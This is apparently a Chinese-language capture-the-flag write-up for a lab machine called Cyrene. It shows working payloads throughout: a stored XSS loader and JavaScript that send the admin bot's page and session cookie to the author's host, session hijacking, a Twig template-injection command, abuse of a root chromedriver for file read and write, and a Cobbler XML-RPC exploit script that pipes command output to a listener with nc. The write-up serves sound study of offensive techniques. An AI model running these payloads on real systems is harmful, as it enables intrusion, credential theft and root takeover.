

Cyrene

信息收集

```
PORT    STATE SERVICE VERSION
22/tcp  open  ssh      OpenSSH 10.3 (protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.68 ((Unix))
|_http-server-header: Apache/2.4.68 (Unix)
|_http-title: Customer Feedback - Fuukei Support Portal
```

80 端口是个反馈提交页，首页提示 Basic HTML markup is preserved in your message.，基本就是明说 XSS。

```
feroxbuster / ffuf -u http://192.168.64.25/FUZZ -w raft-large-directories.txt -x php
/data/messages.json      匿名可读
/vendor/                 autoindex 目录可列
config.php index.php submit.php login.php admin.php admin_email.php admin_server_info.php
logout.php
```

```
/vendor/composer/installed.json:
```

```
twig/twig v2.16.1
```

提交 114514，回显是加粗的：

Submit Feedback

Thank you! Your feedback has been received and queued for review.

Your name

Email address

Message

请填写此字段。

Basic HTML markup is preserved in your message.

Send Feedback

Recent Feedback

ssss 2026-09-21 09:42:09

114514

起一个监听然后，投一条反馈：

```
<script src="http://192.168.64.1:8000/p.js"></script>
```

提交一条只有 `<script src=.../p.js>` 的反馈当 loader，之后 payload 全放 p.js 里，bot 每分钟自己来拉一次

```
const r = await fetch('/admin_server_info.php', {credentials:'include'});
const t = await r.text();
const m = t.match(/PHPSESSID=([a-z0-9]+)/);
if (m) await fetch(CB + '/leak?sid=' + m[1], {mode:'no-cors'});
```

回连：

```
GET /imgping1 from 192.168.64.25 UA=Mozilla/5.0 (X11; Linux x86_64) ... HeadlessChrome/151.0.0.0
Safari/537.36 Cookie=None Ref=http://127.0.0.1/
GET /jsping1?c= from 192.168.64.25 UA=...HeadlessChrome/151.0.0.0... Cookie=None
Ref=http://127.0.0.1/
```

可以发现靶机上的 HeadlessChrome，页面是 `http://127.0.0.1/`；`document.cookie`

拿后台页面

```
const r = await fetch('/admin.php', {credentials:'include'});
const t = await r.text();
const b = btoa(unescape(encodeURIComponent(t)));
for (let i = 0; i < b.length; i += 1200)
  await fetch(CB + '/x?i=' + i + '&d=' + encodeURIComponent(b.substr(i,1200)), {mode:'no-cors'});
```

拿到 Support Inbox，页面里两个入口：

```
<a href="admin_email.php" class="btn btn-ghost">Templates</a>
<a href="admin_server_info.php" class="btn btn-ghost">System Info</a>
```

admin_server_info.php 是 phpinfo()，页面上带着当前请求头：

```
HTTP_COOKIE    PHPSESSID=v915c3pikk3fgu4ubgtd7mmlD9
HTTP_REFERER   http://127.0.0.1/index.php
REMOTE_ADDR    127.0.0.1
DOCUMENT_ROOT  /var/www/localhost/htdocs
USER           root
```

bot 自己的 PHPSESSID 就印在页面上

拿这个 session 从我们机器上请求一次：

```
curl -sk -b "PHPSESSID=v915c3pikk3fgu4ubgtd7mmlD9" http://192.168.64.25/admin.php      # 200
Support Inbox
curl -sk -b "PHPSESSID=v915c3pikk3fgu4ubgtd7mmlD9" http://192.168.64.25/admin_email.php  # 200
Content-Length: 1734 ← 不 302 了
```

原因要等读到 config.php 才闭环：

```
$remote_addr = $_SERVER['REMOTE_ADDR'] ?? '';
if (is_admin() && $remote_addr !== '' && $remote_addr !== '127.0.0.1' && $remote_addr !== ':::1') {
    $_SESSION['ext_access'] = true;
}
```

```
// admin_email.php
if (!is_admin()) { redirect_to('login.php'); }
if (!isset($_SESSION['ext_access'])) { redirect_to('admin.php'); }
```

从非 127.0.0.1 用管理员会话会给 session 打 ext_access，而 Templates 页要求这个标记。所以 bot 自己永远打不开这页，必须把偷来的 session 拿回本地用一次——这题就是要你自己走这一步。

Twig SSTI

Templates 页表单是 name / body / action=preview。

```
{{7*7}}
```

会返回 49，那就直接可以 RCE 了

```
{{["id"]|map("system")|join}}
uid=101(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache)
```

我们可以先把源码直接读下来，发现有：

```
define('ADMIN_USER', 'admin');
define('ADMIN_PASS', 'Fuukei#2026Q4!Secure');
```

密码复用，pi 直接 SSH 进去：

```
pi@Cyrene:~$ cat /home/pi/user.txt
flag{user-6352e71cla99ab360615924160c47e57}
```

root

为了方便读让ai帮忙处理了

```
pi@Cyrene:~$ ps aux | grep root
2354 root  python3 /opt/admin_bot/bot.py
2368 root  chromedriver --port=9515 --log-path=/var/log/admin_bot_driver.log
2369 root  {Daemon} /opt/cobbler-venv/bin/python3 /opt/cobbler-venv/bin/cobblerd -F
2456 root  /usr/sbin/httpd -d /var/www -f /etc/apache2/httpd.conf -k start
7198 apache /usr/sbin/httpd -d /var/www -f /etc/apache2/httpd.conf -k start

pi@Cyrene:~$ ss -lntup
tcp LISTEN 0 5      127.0.0.1:9515      chromedriver
tcp LISTEN 0 5      127.0.0.1:25151     cobblerd
tcp LISTEN 0 511    *:80
tcp LISTEN 0 128    0.0.0.0:22
```

两个只有环回能碰的 root 服务

```
cat /etc/local.d/admin_bot.start
#!/bin/sh
for pid in $(pgrep -f /opt/admin_bot/bot.py); do
    kill "$pid" 2>/dev/null
done
for pid in $(pgrep -f chromedriver); do
    kill "$pid" 2>/dev/null
done
sleep 1
nohup python3 /opt/admin_bot/bot.py >> /var/log/admin_bot.log 2>&1 &
```

提权一：chromedriver 任意文件读

```
curl -s -X POST http://127.0.0.1:9515/session -H "Content-Type: application/json" \
  -d '{"capabilities":{"alwaysMatch":{"browserName":"chrome","goog:chromeOptions":{"args":["--headless=new","--no-sandbox","--disable-gpu"]}}}}'
# -> "sessionId":"a87e9139f4389dc746825727cb3db150"

curl -s -X POST http://127.0.0.1:9515/session/a87e.../url -H "Content-Type: application/json" \
  -d '{"url":"file:///root/root.txt"}'
curl -s http://127.0.0.1:9515/session/a87e.../source
```

```
{"value":"<html>...<pre style=\"word-wrap: break-word; white-space: pre-wrap;\">flag{root-18687f6ee5c8104d2b5190fb7b8983a9}\\n</pre>...}"}
```

chromedriver 的 `Browser.setDownloadBehavior` 能指定 `downloadPath`，文件名由服务端 `Content-Disposition` 决定，既然是 root 运行，那就可以造成 root 任意文件读写

```
搞之前: -rw-r--r-- 1 apache apache 12 /tmp/dltest/probe.txt
之后 : -rw-r--r-- 1 root root 19 /tmp/dltest/probe.txt
```

属主变 root，也就是 root 任意文件写，覆盖 `/root/.ssh/authorized_keys` 就能直接走 root SSH

提权二：Cobbler CVE-2024-47533

```
cat /etc/cobbler/modules.conf
[authentication]
module = authentication.configfile
hash_algorithm = sha3_512

[authorization]
module = authorization.allowall

cat /etc/cobbler/users.digest
cobbler:Cobbler:913e083d0882e7068973a0cd6d09e518ab43443b27462ae08ea08377c6be785bfad7676bac3930304855184f72198842ef0c047b73b4afc547e2535c96361982
```

`user:realm:hash` hash 直接丢 rockyou，拿到的密码是 `peachcobbler1225` 然后搓个脚本

```
#!/usr/bin/env python3
"""Cyrene root: cobbler XML-RPC -> Cheetah template render -> root command execution"""
import sys, xmlrpc.client as x

LHOST = sys.argv[1] if len(sys.argv) > 1 else "192.168.64.1"
LPORT = sys.argv[2] if len(sys.argv) > 2 else "4444"

s = x.ServerProxy("http://127.0.0.1:25151", allow_none=True)
token = s.login("cobbler", "peachcobbler1225") # users.digest 无盐 sha3_512, rockyou 破出
print("[*] token:", token)

cmd = f"echo root-rce-$(id -u):$(id -un):$(hostname) | nc -w 3 {LHOST} {LPORT}"
payload = ('#set o = __import__("os")\n'
          f'#set r = o.popen({cmd!r})\n'
          '#set c = r.read()\n'
          'cyrene')
print("[*] write_autoinstall_template:", s.write_autoinstall_template("tmp/pwn", payload, token))
```

```

d = s.new_distro(token)
s.modify_distro(d, "name", "cyrene-x", token)
s.modify_distro(d, "initrd", "/bin/sh", token)
s.modify_distro(d, "breed", "redhat", token)
try:
    s.save_distro(d, token, "new")
except Exception as e:
    print("[!] save_distro 落盘失败, 无所谓:", type(e).__name__)

p = s.new_profile(token)
s.modify_profile(p, "name", "cyrene-p", token)
s.modify_profile(p, "distro", "cyrene-x", token)
s.modify_profile(p, "autoinstall", "tmp/pwn", token)
try:
    s.save_profile(p, token, "new")
except Exception as e:
    print("[!] save_profile 落盘失败, 无所谓:", type(e).__name__)

print("[*] generate_profile_autoinstall:", s.generate_profile_autoinstall("cyrene-p"))

```

```

[*] token: TBNtvclpz+XIHCANmNEaUAQH23n7DlDrPQ==
[*] write_autoinstall_template: True
[!] save_distro 落盘失败, 无所谓: Fault
[!] save_profile 落盘失败, 无所谓: Fault
[*] generate_profile_autoinstall: cyrene

nc -lvnp 4444
[+] from 192.168.64.25: root-rce-0:root:Cyrene

```

flag

```

flag{user-6352e71c1a99ab360615924160c47e57}
flag{root-18687f6ee5c8104d2b5190fb7b8983a9}

```